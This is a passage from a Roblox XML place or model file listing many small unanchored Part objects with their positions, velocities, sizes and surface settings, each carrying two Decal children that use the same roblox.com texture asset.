			<Item class="Decal" referent="RBX1485">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1486">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1487">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-1.09890687</X>
					<Y>0.591586113</Y>
					<Z>-16.9107494</Z>
					<R00>-0.822355211</R00>
					<R01>-0.000173558801</R01>
					<R02>-0.568974257</R02>
					<R10>-3.30737712e-005</R10>
					<R11>0.99999994</R11>
					<R12>-0.000257235544</R12>
					<R20>0.568974257</R20>
					<R21>-0.000192720894</R21>
					<R22>-0.822355211</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.00901552755</X>
					<Y>0.00135924504</Y>
					<Z>-0.0341425724</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00302142277</X>
					<Y>-0.0093527101</Y>
					<Z>-0.0115337251</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1488">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1489">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1490">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-2.28801823</X>
					<Y>0.590852141</Y>
					<Z>-17.52915</Z>
					<R00>0.729930222</R00>
					<R01>-0.000233315819</R01>
					<R02>-0.683521628</R02>
					<R10>0.00032345191</R10>
					<R11>-0.999999702</R11>
					<R12>0.000686756743</R12>
					<R20>-0.683521569</R20>
					<R21>-0.000722370925</R21>
					<R22>-0.729929984</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0110733658</X>
					<Y>0.00246945932</Y>
					<Z>-0.0542901568</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00449381489</X>
					<Y>0.00515190326</Y>
					<Z>-0.0110249761</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1491">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1492">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1493">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-0.667022228</X>
					<Y>0.591002643</Y>
					<Z>-19.2886257</Z>
					<R00>0.315299809</R00>
					<R01>-3.7214777e-005</R01>
					<R02>0.948992133</R02>
					<R10>5.20715002e-006</R10>
					<R11>1</R11>
					<R12>3.74849951e-005</R12>
					<R20>-0.948992133</R20>
					<R21>-6.87746842e-006</R21>
					<R22>0.315299809</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0391628817</X>
					<Y>6.42265586e-005</Y>
					<Z>0.00636625243</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00353563461</X>
					<Y>-0.0140740937</Y>
					<Z>0.000729335588</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1494">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1495">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1496">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>-0.23128441</X>
					<Y>0.590766788</Y>
					<Z>-15.4604015</Z>
					<R00>-0.940505981</R00>
					<R01>-1.9545274e-005</R01>
					<R02>0.339776874</R02>
					<R10>-9.96240487e-005</R10>
					<R11>1</R11>
					<R12>-0.000218236601</R12>
					<R20>-0.339776844</R20>
					<R21>-0.000239102796</R21>
					<R22>-0.940505922</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0119929099</X>
					<Y>0.00038238868</Y>
					<Z>-0.0393532179</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000130041692</X>
					<Y>-0.00248463941</Y>
					<Z>0.000472926855</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1497">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1498">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1499">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>7.38864899</X>
					<Y>0.591259599</Y>
					<Z>-9.94471741</Z>
					<R00>-0.999567688</R00>
					<R01>0.00914685708</R01>
					<R02>0.0279468074</R02>
					<R10>0.00867341924</R10>
					<R11>0.99981761</R11>
					<R12>-0.0170151964</R12>
					<R20>-0.0280973464</R20>
					<R21>-0.0167654455</R21>
					<R22>-0.999464691</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0715374053</X>
					<Y>0.00155485643</Y>
					<Z>-0.0296542011</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.0106366854</X>
					<Y>-0.0182224605</Y>
					<Z>0.0178982969</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1500">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1501">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1502">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>7.38172817</X>
					<Y>0.59028697</Y>
					<Z>-13.1038246</Z>
					<R00>0.925800145</R00>
					<R01>-0.000641365245</R01>
					<R02>-0.378012866</R02>
					<R10>0.00107786222</R10>
					<R11>0.999998987</R11>
					<R12>0.000943143561</R12>
					<R20>0.378011853</R20>
					<R21>-0.00128060824</R21>
					<R22>0.925799847</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0670084283</X>
					<Y>0.00254501798</Y>
					<Z>0.0500113368</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000824599701</X>
					<Y>0.00230812817</Y>
					<Z>-0.000154162175</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1503">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1504">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1505">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>10.2685785</X>
					<Y>0.89133656</Y>
					<Z>-9.66799355</Z>
					<R00>-0.732225716</R00>
					<R01>-0.681060672</R01>
					<R02>-0.00135236466</R02>
					<R10>3.75911145e-006</R10>
					<R11>-0.00198973576</R11>
					<R12>0.999998033</R12>
					<R20>-0.681062043</R20>
					<R21>0.732224286</R21>
					<R22>0.00145948702</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0180281065</X>
					<Y>0.00212062499</Y>
					<Z>-0.0290286243</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00163436576</X>
					<Y>-0.011158416</Y>
					<Z>-0.0103409095</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1506">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1507">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1508">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>5.35169268</X>
					<Y>0.89085108</Y>
					<Z>-7.5340085</Z>
					<R00>-0.994208574</R00>
					<R01>0.107468434</R01>
					<R02>0.000171266787</R02>
					<R10>7.86009514e-006</R10>
					<R11>-0.00152097619</R11>
					<R12>0.999998927</R12>
					<R20>0.107468568</R20>
					<R21>0.994207382</R21>
					<R22>0.00151122478</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00536642084</X>
					<Y>0.00120336725</Y>
					<Z>-0.0236087702</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00359336031</X>
					<Y>0.00118749368</Y>
					<Z>-0.000910160714</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1509">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1510">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1511">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>9.15890312</X>
					<Y>0.5912202</Y>
					<Z>-14.5975523</Z>
					<R00>-0.9741714</R00>
					<R01>1.985989e-006</R01>
					<R02>0.22581017</R02>
					<R10>-2.85997576e-005</R10>
					<R11>1</R11>
					<R12>-0.000132177622</R12>
					<R20>-0.22581017</R20>
					<R21>-0.000135221766</R21>
					<R22>-0.9741714</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.00224581361</X>
					<Y>-7.35598514e-005</Y>
					<Z>-0.0361112468</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00114929653</X>
					<Y>-0.00334179518</Y>
					<Z>-0.000141595519</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1512">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1513">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1514">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>22.9749165</X>
					<Y>0.590039551</Y>
					<Z>-0.775579691</Z>
					<R00>-0.0577639118</R00>
					<R01>-4.32119195e-005</R01>
					<R02>-0.998330235</R02>
					<R10>6.77933531e-006</R10>
					<R11>-1</R11>
					<R12>4.28919375e-005</R12>
					<R20>-0.998330235</R20>
					<R21>-4.29041074e-006</R21>
					<R22>0.0577639304</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0234276932</X>
					<Y>-2.52126171e-007</Y>
					<Z>0.00425198209</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00111003465</X>
					<Y>0.000848808617</Y>
					<Z>-0.000594384386</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1515">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1516">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1517">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>17.950016</X>
					<Y>0.591320097</Y>
					<Z>-3.68841338</Z>
					<R00>0.991666853</R00>
